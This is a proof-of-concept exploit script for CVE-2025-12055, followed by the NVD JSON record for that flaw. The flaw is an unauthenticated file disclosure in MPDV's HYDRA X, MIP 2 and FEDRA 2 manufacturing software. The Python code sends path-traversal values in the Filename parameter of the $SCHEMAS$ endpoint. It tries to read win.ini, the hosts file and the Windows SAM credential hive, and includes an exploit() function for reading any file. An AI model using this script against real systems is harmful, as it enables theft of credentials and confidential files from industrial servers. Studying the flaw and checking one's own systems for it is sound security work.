CVE-2025-12055

import requests # CVE-2025-12055 PoC - MPDV HYDRA X/MIP 2/FEDRA 2 LFD # Target: MPDV MES System # Vulnerability: Unauthenticated Local File Disclosure via $SCHEMAS$ endpoint target = "http://target-server.com" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-12055""" # Test file paths to read test_files = [ "../../../Windows/win.ini", "../../../boot.ini", "../../../../Windows/System32/drivers/etc/hosts", "../../../Windows/System32/config/SAM" ] for file_path in test_files: url = f"{target}/$SCHEMAS$" params = {"Filename": file_path} try: response = requests.get(url, params=params, timeout=10, verify=False) # Check if file content is returned if response.status_code == 200 and len(response.content) > 0: print(f"[+] VULNERABLE: {file_path}") print(f"[+] Content length: {len(response.content)}") print(f"[+] First 500 bytes:\n{response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {file_path}: {e}") return False def exploit(target_file): """Exploit CVE-2025-12055 to read arbitrary files""" url = f"{target}/$SCHEMAS$" params = {"Filename": target_file} response = requests.get(url, params=params, timeout=10, verify=False) if response.status_code == 200: return response.content return None if __name__ == "__main__": print("[*] CVE-2025-12055 PoC") print("[*] MPDV HYDRA X/MIP 2/FEDRA 2 LFD") check_vulnerability()

{"cve": {"id": "CVE-2025-12055", "sourceIdentifier": "551230f0-3615-47bd-b7cc-93e92e730bbf", "published": "2025-10-27T07:15:37.727", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HYDRA X, MIP 2 and FEDRA 2 of MPDV Mikrolab GmbH suffer from an unauthenticated local file disclosure vulnerability in all releases until Maintenance Pack 36 with Servicepack 8 (week 36/2025), which allows an attacker to read arbitrary files from the Windows operating system. The \"Filename\" parameter of the public $SCHEMAS$ ressource is vulnerable and can be exploited easily."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "551230f0-3615-47bd-b7cc-93e92e730bbf", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://r.sec-consult.com/mpdv", "source": "551230f0-3615-47bd-b7cc-93e92e730bbf"}, {"url": "http://seclists.org/fulldisclosure/2025/Oct/28", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}